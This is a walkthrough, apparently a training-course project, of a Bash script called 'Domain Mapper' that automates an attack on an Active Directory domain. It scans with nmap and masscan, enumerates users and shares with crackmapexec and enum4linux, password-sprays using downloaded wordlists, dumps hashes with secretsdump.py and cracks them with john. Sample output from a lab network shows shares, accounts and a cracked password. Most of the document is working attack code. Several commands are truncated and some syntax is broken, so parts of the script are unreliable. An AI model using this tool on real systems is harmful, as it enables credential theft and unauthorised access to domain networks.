Made by omer shor

DOMAIN MAPPER

the user have to run the script with root privileges.

```
# Function to check if the script is being run with root privileges
function root(){

echo "[#] Please make sure you run this script with root account"

if [[ $(id -u) =≠ 0 ]]
    then
        echo -e "${RED}[-]${NC} Please run the script with root acount"
        exit 1
    else
        echo -e "${GREEN}[+]${NC} You will move forward to start scaning your target, Enjoy!"
fi

}
```

Prompt the user to enter the target network range for scanning.

```
function folder+target(){

# Get the current timestamp
TS=$(date +%H:%M)
# Define the name of the domain mapper results folder
DM="Domain_mapper_results_$TS"
mkdir -p $DM
cd $DM
report_file="$DM/audit_file.$TS.txt"
# Function to validate IP addresses and CIDR notation
validate_ip() {
    local ip=$1
    local cidr=$2

# Regular expressions to validate IP address and CIDR notation
    local ip_regex="^([0-9]{1,3}\.){3}[0-9]{1,3}$"
    local cidr_regex="^([0-9]{1,3}\.){3}[0-9]{1,3}/([0-9]|[1-2][0-9]|3[0-2])$"

# Check if the IP address or CIDR notation matches the regular expressions
    if [[ $ip =~ $ip_regex ]] || [[ $cidr =~ $cidr_regex ]]; then
        return 0
    else
        return 1
    fi
}

# Loop to prompt the user to enter a valid IP address
while true; do
    read -p "[?] Please Enter a valid IP address for your target [network/host]: " target
    # Validate the entered IP address
    if validate_ip "$target" "$target"; then
        echo -e "${GREEN}[+]${NC} Your target IP address is: $target"
        # Exit the loop if a valid IP address is entered
        break
    else
        echo -e "${RED}[-]${NC} Your IP address input is NOT valid, please enter a valid IP address"
    fi
done

}
```

One of several functions that downloads the necessary software and tools for script usage.

```
# Function to check and install Python3 if it is not already installed
function d_python() {
# Check if python3 is installed by attempting to find its command
if ! command -v python3 &> /dev/null 2>&1;
        then
                echo -e "${RED}[-]${NC} python3 is not installed"
                echo "[#] start installing python3"
                # Install python3 and impacket package using apt
                sudo apt install python3-impacket -y &> /dev/null 2>&1;
else
        # If python3 is found, print a message indicating it is already installed
        echo -e "${GREEN}[+]${NC} python3 is installed!"

fi

}
```

Require the user to select a desired operation level

```
function scaning(){

        # Geting operation level from the user
        echo "[#] Choose the operation level for the scaning mode before any actions are executed."

        echo "[*] 1. Basic - scan with -Pn. "
        echo "[*] 2. Intermediate - scan with -p- (all ports). "
        echo "[*] 3. Advanced - Including UDP scan."

        read -p "[?] Select operation level for Scanning Mode (1-3): " scanning_choice
```

If the user selects option number one (Basic)

```
    if [ $scanning_choice == 1 ]
            then
                    echo "[#] Starting basic scan"
                    # Execute the basic Nmap scan with the -Pn option and save the output to a file
                    nmap -Pn $target > Basic_scan_$TS
                    # Extract the Domain IP address from the scan results by looking for lines containing "report for", "ldap", or "kerberos"
                    # Use grep to filter these lines and extract the IP addresses
                    Domain_ip=$(cat Basic_scan_$TS | grep -e "report for" -e "ldap" -e "kerberos" | grep -B 1 -e "kerberos" -e "ldap" | grep -
                    echo "[#] scan completed"
                     # Check if the Domain IP was found
                    if [ -z "$Domain_ip" ]
                            then
                                    echo -e "${RED}[-]${NC} The Domain server not found"
                    else
                            echo -e "${GREEN}[+]${NC} The Domain server is at: $Domain_ip"
```

If the user selects option number two (Intermediate)

```
        fi
    elif [ $scanning_choice == 2 ]
        then
            echo "[#] Starting intermediate scan"
            # Execute the intermediate Nmap scan with the -p- option (scan all ports) and save the output to a file
            nmap -Pn -p-  $target > intermediate_scan_$TS
            # Extract the Domain IP address from the scan results by looking for lines containing "report for", "ldap", or "kerberos"
            # Use grep to filter these lines and extract the IP addresses
            Domain_ip=$(cat intermediate_scan_$TS | grep -e "report for" -e "ldap" -e "kerberos" | grep -B 1 -e "kerberos" -e "ldap" | g
            echo "[#] scan completed"
            # Check if the Domain IP was found
            if [ -z "$Domain_ip" ]
                then
                    echo -e "${RED}[-]${NC} The Domain server not found"
            else
                    echo -e "${GREEN}[+]${NC} The Domain server is at: $Domain_ip"
            fi
```

If the user selects option number three (Advanced)

```
elif [ $scanning_choice == 3 ]
    then
        echo "[#] Starting advanced scan"
        # Check if the target contains a subnet (indicated by "/")
        ad=$(echo "$target" | grep -i "/")
        if [ "$ad" == "$target" ]
            then
                # Inform the user that a scan with a high rate is starting
                echo "[#] Because you chose to scan more than one address, then Runs a scan with rate 1000000"
                echo -e "${YELLOW}[!]${NC} Please be patient, It might take a while (15 minutes)"
                # Execute masscan with a high rate and save the output to a file
                masscan -p0-65535,U:0-65535 $target --rate 1000000 > advanced_scan_1_$TS
                # Extract the Domain IP address from the scan results
                Domain_ip=$(cat advanced_scan_1_$TS | grep -e "88" -e "139" | grep -Eo "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | head -n 1)
                echo "[#] scan completed"
                # Check if the Domain IP was found
                if [ -z "$Domain_ip" ]
                    then
                        echo -e "${RED}[-]${NC} The Domain server not found"
                else
                        echo -e "${GREEN}[+]${NC} The Domain server is at: $Domain_ip"
                fi

        elif [ -z $ad ]
                then
                # Inform the user that a scan with a lower rate is starting
                echo "[#] Because you chose to scan one address, then Runs a scan with rate 2000"
                echo -e "${YELLOW}[!]${NC} Please be patient, It might take a while (2 minutes)"
                # Execute masscan with a lower rate and save the output to a file
                masscan -p0-65535,U:0-65535 $target --rate 2000 > advanced_scan_2_$TS
                # Extract the Domain IP address from the scan results
                Domain_ip=$(cat advanced_scan_2_$TS | grep -e "88" -e "139" | grep -Eo "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | head -n 1)
                echo "[#] scan completed"
                # Check if the Domain IP was found
                if [ -z "$Domain_ip" ]
                    then
                        echo -e "${RED}[-]${NC} The Domain server not found"
                else
                        echo -e "${GREEN}[+]${NC} The Domain server is at: $Domain_ip"
                fi
        fi
    else
```

Asks the user if they want to proceed to the enumeration stage or exit, if they choose to proceed to the enumeration stage, require the user to select a desired operation level

```
function Enumeration(){

# Ask the user if they want to move to the Enumeration phase
read -p "[?] Would you like also move to the Enumeration phase (Y/N): " enum

if [ $enum == Y ] || [ $enum == y ]
        then
                # Prompt the user to choose the operation level for Enumeration Mode
                echo "[#] Chose the operation level for each mode before any actions are executed."
                echo "[*] 1. Basic - Nmap scan with -sV and broadcast-dhcp-discover script."
                echo "[*] 2. Intermediate - Nmap scans also with ldap-search and smb-enum-sessions"
                echo "       and enumerate shared folders with crackmapexec using different services."
                echo "[*] 3. Advanced - Extract all users ,groups,shares ,password policy ,disabled accounts,"
                echo "       never-expired accounts and Domain Admins group members using crackmapexec."
                read -p "[?] Select operation level for Enumeration Mode (1-3): " enumeration_choic
```

If the user selects option number one (Basic)

```
if [ $enumeration_choic == 1 ]
        then
                echo "[#] Starting basic Enumeration"
                # Execute Nmap scan with -sV and broadcast-dhcp-discover script
                # Save the output to basic_enumeration_$TS file
                nmap -Pn -sV --script broadcast-dhcp-discover $Domain_ip > basic_enumeration_$TS
                echo "[#] scan completed, Saved in basic_enumeration_$TS"
                # Extract and display DHCP server information from the output file
                echo "[#] the dhcp server is at:"
                cat basic_enumeration_$TS | grep -i -e "eth" -e "Server Identifier:" | awk -F "|" '{print $2}'
```

If the user selects option number two (Intermediate)

```
elif [ $enumeration_choic == 2 ]
        then
                # Nmap scan with broadcast-dhcp-discover, ldap-search, smb-enum-sessions scripts
                echo "[#] Starting Intermediate Enumeration"
                nmap -Pn -sV --script broadcast-dhcp-discover,ldap-search,smb-enum-sessions $Domain_ip > Intermediate_enumeration_$TS
                # Nmap scan for specific services ports for the cracakmapexec command
                nmap -p 139,445,22,21,3389,5986,5985,1433,636 -sV --open $Domain_ip > crack_$TS
                echo "[#] scan completed, Saved in Intermediate_enumeration_$TS"
                echo "[#] the dhcp server is at:"
                # Extract DHCP server information from the Nmap output
                cat Intermediate_enumeration_$TS | grep -i -e "eth" -e "Server Identifier:" | awk -F "|" '{print $2}'
                echo "[#] open ports for the cracakmapexec:"
                # Display open ports relevant to crackmapexec
                cat crack_$TS | grep -e 139 -e 445 -e 22 -e 21 -e 389 -e 3389 -e 5986 -e 5985 -e 1433 -e 636
                echo "[#] for Extract all users, type the service name that you want to use"
                echo "[#] (ssh, smb, ftp, rdp, winrm, ldap)"
                # Prompt user to choose a service for user enumeration
                valid_services=("ssh" "ftp" "smb" "winrm" "rdp" "ldap")
                while true; do
                        # Prompt the user for their choice
                        read -p "[?] Your choice for service to use: " service
                        # Check if the service is valid
                        if [[ " ${valid_services[@]} " =~ " ${service} " ]]; then
                                echo "[#] You chose $service service"
                                break
                        else
                                echo -e "${RED}[-]${NC} You didn't choose a valid service option!"
                        fi
                done
                # Run crackmapexec for user enumeration
                crackmapexec $service $Domain_ip > crackmapexec_$TS
                # Extract domain name from crackmapexec output
                domain_name=$(cat crackmapexec_$TS | grep -w domain | awk -F "domain:" '{print $2}' | awk '{print $1}' | sed 's/)// /g')
                echo -e "[+] The domain name is: ${GREEN}$domain_name${NC}"
                # Start enum4linux for additional enumeration
                echo "[#] Starting a default enum4linux, The results will be saved in enum4linux_$TS"
                enum4linux $Domain_ip > enum4linux_$TS
```

Asks the user to select a list of users and a list of passwords from several options, and runs crackmapexec with the service chosen by the user from the presented open services, as well as with the selected list of users and passwords.

```
crackmapexec $service $Domain_ip > crackmapexec_$TS
# Extract domain name from crackmapexec output
domain_name=$(cat crackmapexec_$TS | grep -w domain | awk -F "domain:" '{print $2}' | awk '{print $1}' | sed 's/)// /g')
echo -e "[+] The domain name is: ${GREEN}$domain_name${NC}"
# Start enum4linux for additional enumeration
echo "[#] Starting a default enum4linux, The results will be saved in enum4linux_$TS"
enum4linux $Domain_ip > enum4linux_$TS
# Giving the user a choice to select use his users list or download users list the we are suggesting
echo "[#] for Extract all shares, do you want to use ours users list or do you want to use your users list?"
echo "[*] 1. Ours users list"
echo "[*] 2. your users list"
read -p "[?] Your choice (1 or 2): " users_list
if [ $users_list == 1 ]
        then
                echo "[#] You chose to use ours users list"
                # Download default users list
                wget https://raw.githubusercontent.com/kkrypt0nn/wordlists/main/wordlists/usernames/http_default_users.txt &> /dev/null 2>&1;
                # Giving the user a choice to select use his passwords list or download one of the passwords list that we are suggesting
                echo "[?] for Extract all shares, do you want to use rockyou.txt or do you want to use your passwords list?"
                echo "[*] 1. top 1,000 worst passwords"
                echo "[*] 2. your passwords list"
                echo "[*] 3. top 1,000,000 worst passwords"
                read -p "[?] your choice (1/2/3): " password_list
                # Proceed based on password list choice
                if [ $password_list == 1 ]
                        then
                                echo "[#] You chose to use top 1,000 worst passwords list"
                                # Download top 1,000 worst passwords list
                                wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1
                                mv ./10-million-password-list-top-1000.txt ./top-1000.txt
                                echo "[#] trying to enumerat, The results will be saved in crackmapexec_R_$TS and crackmapexec_share_$TS"
                                # Run crackmapexec with the options that the user picked
                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt > crackmapexec_R_$TS 2>/dev/null
                                if [ $service == smb ] || [ $service == ldap ] || [ $service == ftp ]
                                        then
                                                # For SMB, LDAP, and FTP services, perform CrackMapExec with shares enumeration
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt --shares > crackmapexec_share_$TS
                                                # Display the extracted share information
                                                cat crackmapexec_share_$TS | awk '{print $5,$6,$7}' | grep -v -e "+" -e "-" -e "*" | sed 's/ / | /g'
```

```
if [ $password_list == 1 ]
        then
                echo "[#] You chose to use top 1,000 worst passwords list"
                # Download top 1,000 worst passwords list
                wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt &> /dev/null 2>&1;
                mv ./10-million-password-list-top-1000.txt ./top-1000.txt
                echo "[#] trying to enumerat, The results will be saved in crackmapexec_R_$TS and crackmapexec_share_$TS"
                # Run crackmapexec with the options that the user picked
                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt > crackmapexec_R_$TS 2>/dev/null
                if [ $service == smb ] || [ $service == ldap ] || [ $service == ftp ]
                        then
                                # For SMB, LDAP, and FTP services, perform CrackMapExec with shares enumeration
                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt --shares > crackmapexec_share_$TS 2>/dev/null
                                # Display the extracted share information
                                cat crackmapexec_share_$TS | awk '{print $5,$6,$7}' | grep -v -e "+" -e "-" -e "*" | sed 's/ / | /g'
                elif [ $service == winrm ] || [ $service == rdp ]
                        then
                                # For WinRM and RDP services, perform CrackMapExec to get share information
                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt -x 'powershell -Command "Get-SmbShare | Select-Object Name,Pat
                                # Display the extracted share information
                                cat crackmapexec_share_$TS | grep -A 20 "Name"
                elif [ $service == ssh ]
                        then
                                # For SSH service, perform CrackMapExec to get share information
                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt -x 'powershell -Command "Get-SmbShare | Select-Object Name,Pat
                                # Display the extracted share information
                                cat crackmapexec_share_$TS | awk '{print $5,$6,$7,$8,$9}' |  grep -v -e "+" -e "-" -e "*"
                fi

                cat crackmapexec_share_$TS | grep "+" > crackmapexec_found_$TS
```

If the user selects option number three (Advanced)

```
elif [ $enumeration_choic == 3 ]
        then
                # Nmap scan with broadcast-dhcp-discover, ldap-search, smb-enum-sessions scripts
                echo "[#] Starting Advanced Enumeration"
                nmap -Pn -sV --script broadcast-dhcp-discover,ldap-search,smb-enum-sessions $Domain_ip > Advanced_enumeration_$TS
                # Nmap scan for specific services ports for the cracakmapexec command
                nmap -p 139,445,22,21,3389,5986,5985,1433,636 -sV --open $Domain_ip > crack_$TS
                echo "[#] scan completed, Saved in Advanced_enumeration_$TS"
                echo "[#] the dhcp server is at:"
                # Extract DHCP server information from the Nmap output
                cat Advanced_enumeration_$TS | grep -i -e "eth" -e "Server Identifier:" | awk -F "|" '{print $2}'
                echo "[#] open ports for the cracakmapexec:"
                # Display open ports relevant to crackmapexec
                cat crack_$TS | grep -e 139 -e 445 -e 22 -e 21 -e 389 -e 3389 -e 5986 -e 5985 -e 1433 -e 636
                echo "[#] for Extract all users, type the service name that you want to use"
                echo "[#] (ssh, smb, ftp, rdp, winrm, ldap)"
                # Prompt user to choose a service for user enumeration
                valid_services=("ssh" "ftp" "smb" "winrm" "rdp" "ldap")
                while true; do
                        # Prompt the user for their choice
                        read -p "[?] Your choice for service to use: " service
                        # Check if the service is valid
                        if [[ " ${valid_services[@]} " =~ " ${service} " ]]; then
                                echo "[#] You chose $service service"
                                break
                        else
                                echo -e "${RED}[-]${NC} You didn't choose a valid service option!"
                        fi
                done
                # Run crackmapexec for user enumeration
                crackmapexec $service $Domain_ip > crackmapexec_$TS
                # Extract domain name from crackmapexec output
                domain_name=$(cat crackmapexec_$TS | grep -w domain | awk -F "domain:" '{print $2}' | awk '{print $1}' | sed 's/)/ /g')
                echo -e "[+] The domain name is: ${GREEN}$domain_name${NC}"
                # Start enum4linux for additional enumeration
                echo "[#] Starting a default enum4linux, The results will be saved in enum4linux_$TS"
                enum4linux $Domain_ip > enum4linux_$TS
```

Asks the user to select a list of users and a list of passwords from several options, and runs crackmapexec with the service chosen by the user from the presented open services, as well as with the selected list of users and passwords. It also attempts to retrieve a list of users, groups, shares, and more...

```
crackmapexec $service $Domain_ip > crackmapexec_$TS
# Extract domain name from crackmapexec output
domain_name=$(cat crackmapexec_$TS | grep -w domain | awk -F "domain:" '{print $2}' | awk '{print $1}' | sed 's/)/ /g')
echo -e "[+] The domain name is: ${GREEN}$domain_name${NC}"
# Start enum4linux for additional enumeration
echo "[#] Starting a default enum4linux, The results will be saved in enum4linux_$TS"
enum4linux $Domain_ip > enum4linux_$TS
# Giving the user a choice to select use his users list or download users list the we are suggesting
echo "[#] for Extract all shares, do you want to use ours users list or do you want to use your users list?"
echo "[*] 1. Ours users list"
echo "[*] 2. your users list"
read -p "[?] Your choice (1 or 2): " users_list
if [ $users_list == 1 ]
        then
                # Download default users list
                echo "[#] You chose to use ours users list"
                wget https://raw.githubusercontent.com/kkrypt0nn/wordlists/main/wordlists/usernames/http_default_users.txt &> /dev/null 2>&1;
                # Giving the user a choice to select use his passwords list or download one of the passwords list that we are suggesting
                echo "[?] for Extract all shares, do you want to use rockyou.txt or do you want to use your passwords list?"
                echo "[*] 1. top 1,000 worst passwords"
                echo "[*] 2. your passwords list"
                echo "[*] 3. top 1,000,000 worst passwords"
                read -p "[?] your choice (1/2/3): " password_list
                # Proceed based on password list choice
                if [ $password_list == 1 ]
                        then
                                # Download top 1,000 worst passwords list
                                echo "[#] You chose to use top 1,000 worst passwords list"
                                wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-
                                mv ./10-million-password-list-top-1000.txt ./top-1000.txt
                                echo "[#] trying to enumerat, The results will be saved in crackmapexec_*_$TS"
                                # Run crackmapexec with the options that the user picked
                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt > crackmapexec_R_$TS 2>/dev/null
                                # For SMB, LDAP, and FTP services
                                if [ $service == smb ] || [ $service == ldap ] || [ $service == ftp ]
                                        then
                                                # Perform additional actions based on the selected service
                                                # Extract share information and display it
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt --shares > crackmapexec_share_$TS
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt --users > crackmapexec_users_$TS
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt --groups > crackmapexec_groups_$T
```

If information is found, it is displayed to the user, with lines dividing the information into groups by type. If no information is found, the lines form an error message.

```
cat crackmapexec_share_$TS | awk '{print $5,$6,$7}' | grep -v -e "+" -e "-" -e "*" | sed 's/ / | /g'
echo "###|\##|###___###___######__###___##|####|#|\##|##__|##"
cat crackmapexec_users_$TS | awk '{print $5,$6,$7}' | grep -v -e "+" -e "-" -e "*" | sed 's/ / | /g'
echo "###|#\#|##/###\###|#####_|__##/###\#|####|#|#\#|#/##|##"
cat crackmapexec_groups_$TS | awk '{print $5,$6,$7}' | grep -v -e "+" -e "-" -e "*" | sed 's/ / | /g'
echo "###|##\|##\___/###|######|####\___/##\__/##|##\|#\__|##"
```

Informs the user that during the Exploitation stage, they can only perform scans with the vuln script, because they chose the Basic option during the Enumeration stage and there is not enough information to proceed with stages 2 and 3. Therefore, they are given the option to scan or exit.

```
function Exploitation(){

# Check if the chosen enumeration choice is 1
if [ $enumeration_choic == 1 ]
        then
                # Inform the user about the selected option
                echo -e "${YELLOW}[!]${NC} You chose to execute option 1 in the Enumeration phase"
                # Notify the user that they can't proceed to exploitation due to insufficient data
                echo -e "${YELLOW}[!]${NC} You can't move to the explotion, Because you don't have enough Data to use"
                echo "    To execute the commands in operations 2 and 3"
                # Ask the user if they would like to perform an Nmap scan with vulnerability scripts
                read -p "[?] Would you like to At least do an Nmap scan with vulnerability script? (Y/N): " vul
                # Check the user's response
                if [ $vul == Y ] || [ $vul == y ]
                        then
                        # Inform the user about the selected choice
                        echo "[#] OK, You chose to do the Nmap scan with vulnerability script"
                        # Perform Nmap scan with vulnerability script and exit
                        nmap -Pn -sV --script=vuln $Domain_ip > vuln_scan_$TS
                        echo "[#] exiting..."
                        exit
                else
                        # Inform the user about the chosen option and exit
                        echo "[#] OK, You chose to NOT do the Nmap scan with vulnerability script, exiting..."
                        exit
                fi
fi
```

Asks the user if they want to proceed to the Exploitation stage or exit, and if they choose to proceed to the Exploitation stage, , require the user to select a desired operation level

```
read -p "[?] Would you like also move to the Exploitation phase (Y/N): " expl

# Check the user's response
if [ $expl == Y ] || [ $expl == y ]
        then
                # Inform the user about selecting the operation level
                echo "[#] Chose the operation level for each mode before any actions are executed."
                echo "[*] 1. Basic - Nmap scan with vulnerability script."
                echo "[*] 2. Intermediate - Execute domain-wide password by using crackmapexec --continue-on-suc
                echo "[*] 3. Advanced - Attempt to crack Kerberos tickets using python3 secretsdump.py and john

                # Prompt the user to select the operation level
                read -p "[?] Select operation level for Exploitation Mode (1-3): " Exploitation_mode
```

If the user selects option number one (Basic)

```
if [ $Exploitation_mode == 1 ]
        then
                # Inform the user about starting Basic Exploitation
                echo "[#] Starting Basic Exploitation"
                echo "[#] Starting a NSE vulnerability scanning script"
                # Perform Nmap scan with vulnerability script
                nmap -Pn -sV --script=vuln $Domain_ip > vuln_scan_$TS
```

If the user selects option number two (Intermediate)

And running crackmapexec with the flag "—continue-on-success"

```
elif [ $Exploitation_mode == 2 ]
        then
                # Inform the user about starting Intermediate Exploitation
                echo "[#] Starting Intermediate Exploitation"
                echo "[#] Starting a NSE vulnerability scanning script"
                nmap -Pn -sV --script=vuln $Domain_ip > vuln_scan_$TS
                echo "[#] Starting a password spraying to identify weak credentials"
                # Perform password spraying based on selected user and password lists
                if [ $users_list == 1 ]
                        then
                                if [ $password_list == 1 ]
                                        then
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt --continue-on-success
                                                # Clean and save results
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
                                                sudo rm -r Exploitation_brute_force
                                elif [ $password_list == 2 ]
                                        then
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p $password_path --continue-on-success
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
                                                sudo rm -r Exploitation_brute_force
                                elif [ $password_list == 3 ]
                                        then
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000000.txt --continue-on-succe
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
                                                sudo rm -r Exploitation_brute_force
                                fi
                elif [ $users_list == 2 ]
                        then
                                if [ $password_list == 1 ]
                                        then
                                                crackmapexec $service $Domain_ip -u $users_path -p ./top-1000.txt --continue-on-success > Exploitatio
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
                                                sudo rm -r Exploitation_brute_force
                                elif [ $password_list == 2 ]
                                        then
                                                crackmapexec $service $Domain_ip -u $users_path -p $password_path --continue-on-success > Exploitatio
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
```

If the user selects option number three (Advanced)

```
elif [ $Exploitation_mode == 3 ]
        then

                echo "[#] Starting Advanced Exploitation"
                echo "[#] Starting a NSE vulnerability scanning script"
                nmap -Pn -sV --script=vuln $Domain_ip > vuln_scan_$TS
                echo "[#] Starting a password spraying to identify weak credentials"
                if [ $users_list == 1 ]
                        then
                                if [ $password_list == 1 ]
                                        then
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p ./top-1000.txt --continue-on-success > Exploi
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
                                                sudo rm -r Exploitation_brute_force
                                elif [ $password_list == 2 ]
                                        then
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p $password_path --continue-on-success > Exploi
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
                                                sudo rm -r Exploitation_brute_force
                                elif [ $password_list == 3 ]
                                        then
                                                crackmapexec $service $Domain_ip -u ./http_default_users.txt -p top-1000000.txt --continue-on-success > Explo
                                                cat Exploitation_brute_force | grep -v ERROR > Exploitation_brute_force_$TS
                                                sudo rm -r Exploitation_brute_force
                                fi
```

Extract and attempt to crack Kerberos tickets using pre-supplied passwords

```
echo "[#] Execute domain-wide password spraying, According to what you have chosen in the Enumeration Mode"
host=$(cat Exploitation_brute_force_$TS | grep "+" | awk '{print $(NF -1) }' | awk -F "\\" '{print $2}' | sort | head -n 1
Domain=$(cat enum4linux_$TS | grep "Domain Name:" | awk '{print $NF}')
# Extract Kerberos tickets using secretsdump.py
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py $Domain/$host@$Domain_ip > secretdump 2>/dev/null
cat secretdump | grep -v -e "[[-]]" -e "[[*]]" -e "[[+]]" -e "Impacket" > secretdump.$TS
rm -r secretdump
echo "[#] Deleteing john.pot"
sudo rm -r /root/.john/john.pot 2>/dev/null
# Download wordlist if necessary
# and using john to crack hashes
if [ $password_list == 3 ]
        then
                john secretdump.$TS --format=nt --wordlist=top-1000000.txt > john_for_secretdump.$TS 2>&1
elif [ $password_list == 1 ] || [ $password_list == 2 ]
        then
                wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-milli
                mv ./10-million-password-list-top-1000000.txt ./top-1000000.txt 2>/dev/null
                john secretdump.$TS --format=nt --wordlist=top-1000000.txt > john_for_secretdump.$TS 2>&1
fi
# Display found passwords
found_pass=$(cat john_for_secretdump.$TS | awk '{print $1,$2}' | grep -e "(" -e ")" )

if [ -z "$found_pass" ];
        then
                echo -e "${RED}[-]${NC} Didn't found password using the top-1000000.txt password list"
else
                echo -e "${GREEN}[+]${NC} Password that found by using the top-1000000.txt password list:"
                echo -e "${GREEN}[+]${NC} $found_pass"
fi
```

Saving the information found in a PDF file and executing the functions in order

```
echo "[#] Saveing the Results in a PDF file (Results_$TS.pdf)"
for_output=$(ls | grep -v -e top-1000000.txt -e top-1000.txt -e http_default_users.txt )
cat $for_output > output
enscript output -p output.ps 2>/dev/null
ps2pdf output.ps Results_$TS.pdf 2>/dev/null

}

#execute function by order
colors
d_figlet
root
folder+target
d_python
d_nmap
d_masscan
d_john
d_enscript
d_ghostscript
e_crackmapexec
scaning
Enumeration
Exploitation
pdfile
```

successful output

```
┌──(root㉿kali)-[~/Desktop/project5]
└─# ./project5_network_security.sh
 ____                                  _
|  _ \  ___  _ __ ___   __ _(_)_ __   | |_ ___   ___ | |
| | | |/ _ \| '_ ` _ \ / _` | | '_ \  | __/ _ \ / _ \| |
| |_| | (_) | | | | | | (_| | | | | | | || (_) | (_) | |
|____/ \___/|_| |_| |_|\__,_|_|_| |_|  \__\___/ \___/|_|
                                                        
#] Hello! and wellcome to the domain mapper
#] Please make sure you run this script with root account
+] You will move forward to start scaning your target, Enjoy!
?] Please Enter a valid IP address for your target [network/host]: 192.168.199.0/24
+] Your target IP address is: 192.168.199.0/24
+] python3 is installed!
+] nmap is installed!
+] masscan is installed!
+] john is installed!
+] enscript is installed!
+] ghostscript is installed!
+] crackmapexec is installed!
#] Choose the operation level for the scaning mode before any actions are executed.
*] 1. Basic - scan with -Pn.
*] 2. Intermediate - scan with -p- (all ports).
*] 3. Advanced - Including UDP scan.
?] Select operation level for Scanning Mode (1-3): 1
#] Starting basic scan
#] scan completed
+] The Domain server is at: 192.168.199.162
?] Would you like also move to the Enumeration phase (Y/N): y
#] Chose the operation level for each mode before any actions are executed.
*] 1. Basic - Nmap scan with -sV and broadcast-dhcp-discover script.
*] 2. Intermediate - Nmap scans also with ldap-search and smb-enum-sessions
      and enumerate shared folders with crackmapexec using different services.
*] 3. Advanced - Extract all users ,groups,shares ,password policy ,disabled accounts,
      never-expired accounts and Domain Admins group members using crackmapexec.
?] Select operation level for Enumeration Mode (1-3): 3
#] Starting Advanced Enumeration
#] scan completed, Saved in Advanced_enumeration_19:49
#] the dhcp server is at:
    Interface: eth0
    Server Identifier: 192.168.199.254
#] open ports for the cracakmapexec:
```

```
     Server Identifier: 192.168.199.254
[#] open ports for the cracakmapexec:
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[#] for Extract all users, type the service name that you want to use
[#] (ssh, smb, ftp, rdp, winrm, ldap)
[?] Your choice for service to use: smb
[#] You chose smb service
[+] The domain name is: target.local
[#] Starting a default enum4linux, The results will be saved in enum4linux_19:49
[#] for Extract all shares, do you want to use ours users list or do you want to u
[*] 1. Ours users list
[*] 2. your users list
[?] Your choice (1 or 2): 1
[#] You chose to use ours users list
[?] for Extract all shares, do you want to use rockyou.txt or do you want to use y
[*] 1. top 1,000 worst passwords
[*] 2. your passwords list
[*] 3. top 1,000,000 worst passwords
[?] your choice (1/2/3): 2
[#] You chose to use your password list
[?] Please enter the path for your passwotds list: /home/omer/Desktop/p
[#] trying to enumerat, The results will be saved in a folders crackmapexec_*_19:4
Share | Permissions | Remark
ADMIN$ | READ,WRITE | Remote
C$ | READ,WRITE | Default
IPC$ | READ | Remote
NETLOGON | READ,WRITE | Logon
SYSVOL | READ | Logon
###|\##|###___###___######__###___##|####|#|\##|##__|##
target.local\sshd | badpwdcount: | 0
target.local\omer2 | badpwdcount: | 2
target.local\krbtgt | badpwdcount: | 0
target.local\omer | badpwdcount: | 4
target.local\Guest | badpwdcount: | 6
target.local\Administrator | badpwdcount: | 0
###|#\#|##/###\###|#####_|__##/###\#|####|#|#\#|#/##|##
```

```
Users | membercount: | 5
Administrators | membercount: | 5
###|##\|##\___/###|######|####\___/##\__/##|##\|#\__|##
[?] Would you like also move to the Exploitation phase (Y/N): y
[#] Chose the operation level for each mode before any actions are executed.
[*] 1. Basic - Nmap scan with vulnerability script.
[*] 2. Intermediate - Execute domain-wide password by using crackmapexec --continue-on-success.
[*] 3. Advanced - Attempt to crack Kerberos tickets using python3 secretsdump.py and john with pre-supplied passwords.
[?] Select operation level for Exploitation Mode (1-3): 3
[#] Starting Advanced Exploitation
[#] Starting a NSE vulnerability scanning script
[#] Starting a password spraying to identify weak credentials
[#] Execute domain-wide password spraying, According to what you have chosen in the Enumeration Mode
[#] Deleteing john.pot
[+] Password that found by using the top-1000000.txt password list:
[+] omer (omer)
[#] Saveing the Results in a PDF file (Results_19:49.pdf)
```